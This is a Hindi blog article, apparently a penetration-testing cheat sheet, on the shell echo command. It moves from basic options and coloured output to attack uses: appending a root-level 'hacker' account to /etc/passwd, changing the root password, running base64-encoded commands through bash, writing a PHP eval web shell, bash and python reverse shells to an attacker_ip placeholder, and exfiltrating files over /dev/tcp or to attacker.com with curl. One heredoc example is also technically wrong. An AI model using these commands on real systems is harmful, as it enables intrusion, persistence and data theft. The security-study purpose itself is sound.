August 24, 2025
30 Views
Welcome

इको कमांड का विस्तृत विवरण और पैठ परीक्षण अनुप्रयोग

यह लेख इको कमांड के विभिन्न अनुप्रयोगों को पैठ परीक्षण में गहराई से समझाता है, जिसमें बुनियादी विकल्प, रंगीन आउटपुट, स्वरूपित आउटपुट, फ़ाइल संचालन, स्ट्रिंग प्रदर्शन, आईपी फ़ॉरवर्डिंग, उपयोगकर्ता प्रबंधन, पासवर्ड संशोधन, कमांड निष्पादन, बेस64 एन्कोडिंग, रिबाउंड शेल, फ़ाइल ट्रांसफर आदि तकनीकें शामिल हैं। लेख में इको कमांड के सामान्य उपयोग के तरीके और वास्तविक पैठ परीक्षण में अनुप्रयोग परिदृश्यों को शामिल किया गया है, जो सुरक्षा प्रेमियों और पैठ परीक्षण कर्मियों के लिए संदर्भ और अध्ययन के लिए बहुत उपयुक्त है।

इको का पैठ में उपयोग

इको के सामान्य विकल्प

मूल विकल्प

bash
1# -n: अंत में न्यूलाइन कैरेक्टर नहीं छापेगा
2echo -n "Hello"  # आउटपुट: Hello
3echo "Hello"     # आउटपुट: Hello\n
4
5# -e: एस्केप कैरेक्टर की व्याख्या को सक्षम करता है
6echo -e "Hello\nWorld"  # आउटपुट: Hello
7                        # World
8
9# -E: एस्केप कैरेक्टर की व्याख्या को अक्षम करता है (डिफ़ॉल्ट)
10echo -E "Hello\nWorld"  # आउटपुट: Hello\nWorld
11
12# सामान्य एस्केप कैरेक्टर
13echo -e "\a"     # घंटी बजाता है
14echo -e "\b"     # बैकस्पेस
15echo -e "\c"     # न्यूलाइन नहीं
16echo -e "\f"     # पेज फीड
17echo -e "\n"     # न्यूलाइन
18echo -e "\r"     # कैरेज रिटर्न
19echo -e "\t"     # हॉरिजॉन्टल टैब
20echo -e "\v"     # वर्टिकल टैब
21echo -e "\\"     # बैकस्लैश

रंगीन आउटपुट

bash
1# टेक्स्ट रंग
2echo -e "\033[31mलाल टेक्स्ट\033[0m"    # लाल
3echo -e "\033[32mहरा टेक्स्ट\033[0m"    # हरा
4echo -e "\033[33mपीला टेक्स्ट\033[0m"    # पीला
5echo -e "\033[34mनीला टेक्स्ट\033[0m"    # नीला
6echo -e "\033[35mबैंगनी टेक्स्ट\033[0m"    # बैंगनी
7echo -e "\033[36mहल्का नीला टेक्स्ट\033[0m"    # हल्का नीला
8
9# बैकग्राउंड रंग
10echo -e "\033[41mलाल बैकग्राउंड\033[0m"    # लाल बैकग्राउंड
11echo -e "\033[42mहरा बैकग्राउंड\033[0m"    # हरा बैकग्राउंड
12echo -e "\033[43mपीला बैकग्राउंड\033[0m"    # पीला बैकग्राउंड
13
14# टेक्स्ट स्टाइल
15echo -e "\033[1mबोल्ड टेक्स्ट\033[0m"     # बोल्ड
16echo -e "\033[4mअंडरलाइन टेक्स्ट\033[0m"   # अंडरलाइन
17echo -e "\033[5mचमकदार टेक्स्ट\033[0m"     # चमकदार

स्वरूपित आउटपुट

bash
1# वेरिएबल का उपयोग
2name="World"
3echo "Hello $name"      # आउटपुट: Hello World
4echo "Hello ${name}"    # आउटपुट: Hello World
5
6# कमांड रिप्लेसमेंट
7echo "वर्तमान समय: $(date)"
8echo "वर्तमान समय: `date`"
9
10# विशेष कैरेक्टर को एस्केप करना
11echo "यह एक \$डॉलर चिह्न है"    # आउटपुट: यह एक $डॉलर चिह्न है
12echo "यह एक \"उद्धरण\" है"        # आउटपुट: यह एक "उद्धरण" है

फ़ाइल ऑपरेशन विकल्प

bash
1# फ़ाइल में जोड़ना
2echo "नई लाइन" >> file.txt
3
4# फ़ाइल को ओवरराइट करना
5echo "नई सामग्री" > file.txt
6
7# मल्टीलाइन फ़ाइल बनाना
8echo -e "लाइन1\nलाइन2\nलाइन3" > multiline.txt
9
10# हियर डॉक्यूमेंट का उपयोग
11echo << EOF > file.txt
12लाइन1
13लाइन2
14लाइन3
15EOF

इको स्ट्रिंग प्रदर्शित करता है

bash
1echo "Hello ICTRUN"
2 Hello ICTRUN
3
4echo "$str" Good Evening 
5 Good Evening

ipv4 ipforward खोलना

bash
1echo 1 > /proc/sys/net/ipv4/ip_forward

रूट लेवल यूजर जोड़ना

bash
1echo "hacker:$(openssl passwd -1 -salt 'salt' 'password'):0:0::/:/bin/bash" >> /etc/passwd

रूट पासवर्ड बदलना

bash
1echo "root:newpassword" | chpasswd

इको -e का उपयोग करके बिना इंटरैक्शन के पासवर्ड बदलना

bash
1echo -e "newpassword\nnewpassword" | passwd username

बेस64 के साथ कमांड को जोड़कर चलाना

bash
1echo "whoami" | base64
2echo "d2hvYW1pCg==" | base64 -d | bash

बेस64 का उपयोग करके 1.php में एक php वन-लाइनर लिखना

bash
1echo "<?php eval(base64_decode('ZWNobyAiSGVsbG8gV29ybGQiOw==')); ?>" > 1.php

रिवर्स शेल

bash
1# बैश रिवर्स शेल
2echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | bash
3
4# पाइथन रिवर्स शेल
5echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker_ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'" | bash

फ़ाइल ऑपरेशन

bash
1# फ़ाइल बनाना
2echo "सामग्री" > file.txt
3
4# सामग्री जोड़ना
5echo "अधिक सामग्री" >> file.txt
6
7# फ़ाइल को खाली करना
8echo "" > file.txt

पर्यावरण चर ऑपरेशन

bash
1# पर्यावरण चर सेट करना
2echo "export PATH=/new/path:$PATH" >> ~/.bashrc
3
4# प्रॉक्सी सेटिंग जोड़ना
5echo "export http_proxy=http://proxy:port" >> ~/.bashrc

सिस्टम कॉन्फ़िगरेशन संशोधन

bash
1# सिस्टम सीमा को संशोधित करना
2echo "* soft nofile 65535" >> /etc/security/limits.conf
3
4# कर्नेल पैरामीटर को संशोधित करना
5echo "net.ipv4.tcp_syncookies = 1" >> /etc/sysctl.conf

फ़ाइल ट्रांसफर

फ़ाइल भेजना

bash
1# विधि 1: nc का उपयोग करना
2export LFILE=/tmp/1.tar.gz
3bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/1.1.1.1/4422'
4
5# विधि 2: बेस64 का उपयोग करना
6cat file.txt | base64 | echo "$(cat -)" > file.txt.b64

फ़ाइल प्राप्त करना

bash
1# विधि 1: nc का उपयोग करना
2nc -v -l -p 4422 > 1.tar.gz
3
4# विधि 2: बेस64 का उपयोग करना
5cat file.txt.b64 | base64 -d > file.txt

फ़ाइल ट्रांसफर के अन्य तरीके

bash
1# curl का उपयोग करके फ़ाइल अपलोड करना
2echo "curl -F 'file=@/path/to/file' http://attacker.com/upload"
3
4# wget का उपयोग करके फ़ाइल डाउनलोड करना
5echo "wget http://attacker.com/file -O /path/to/save"

Enjoyed this article?

Share it with your friends and colleagues!

Welcome
Last updated: August 25, 2025
相关文章
正在检查服务状态...
Hello World - Welcome to My Blog - kuno